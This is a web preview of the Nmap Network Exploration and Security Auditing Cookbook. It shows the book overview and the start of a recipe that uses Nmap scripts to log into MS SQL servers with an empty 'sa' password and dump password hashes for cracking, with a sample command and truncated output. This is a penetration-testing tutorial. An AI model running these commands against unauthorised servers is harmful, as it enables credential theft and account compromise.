Book Image

Nmap: Network Exploration and Security Auditing Cookbook - Second Edition

By : Paulino Calderon
Book Image

Nmap: Network Exploration and Security Auditing Cookbook - Second Edition

By: Paulino Calderon

Overview of this book

This is the second edition of ‘Nmap 6: Network Exploration and Security Auditing Cookbook’. A book aimed for anyone who wants to master Nmap and its scripting engine through practical tasks for system administrators and penetration testers. Besides introducing the most powerful features of Nmap and related tools, common security auditing tasks for local and remote networks, web applications, databases, mail servers, Microsoft Windows machines and even ICS SCADA systems are explained step by step with exact commands and argument explanations. The book starts with the basic usage of Nmap and related tools like Ncat, Ncrack, Ndiff and Zenmap. The Nmap Scripting Engine is thoroughly covered through security checks used commonly in real-life scenarios applied for different types of systems. New chapters for Microsoft Windows and ICS SCADA systems were added and every recipe was revised. This edition reflects the latest updates and hottest additions to the Nmap project to date. The book will also introduce you to Lua programming and NSE script development allowing you to extend further the power of Nmap.
Table of Contents (18 chapters)
13
Brute Force Password Auditing Options
17
References and Additional Reading

Dumping password hashes of MS SQL servers


After gaining access to a MS SQL server, we can dump all the password hashes of the server to compromise other accounts. Nmap can help us retrieve these hashes in a format usable by the cracking tool, John the Ripper.

This recipe shows how to dump password hashes of a MS SQL server with Nmap.

How to do it...

To dump all the password hashes of a MS SQL server with an empty system administrator password, run the following Nmap command:

$ nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>

The password hashes will be included in the ms-sql-dump-hashes script output section:

   PORT     STATE SERVICE  VERSION  
   1433/tcp open  ms-sql-s Microsoft SQL Server 2011  
   Service Info: CPE: cpe:/o:microsoft:windows 

   Host script results:  
   | ms-sql-empty-password:  
   |   [192.168.1.102\MSSQLSERVER]  
   |_    sa:<empty> => Login Success  
   | ms-sql-dump-hashes:  
   | [192.168.1.102\MSSQLSERVER]  
   |        
   sa...